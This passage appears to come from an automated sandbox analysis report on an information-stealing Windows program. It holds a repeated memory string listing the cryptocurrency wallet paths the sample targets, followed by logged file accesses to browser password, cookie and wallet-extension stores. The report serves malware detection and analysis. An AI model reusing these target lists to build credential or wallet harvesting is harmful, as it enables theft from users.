Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: c3e1e78f6d.exe, 00000017.00000003.2807718354.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger LiveO

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
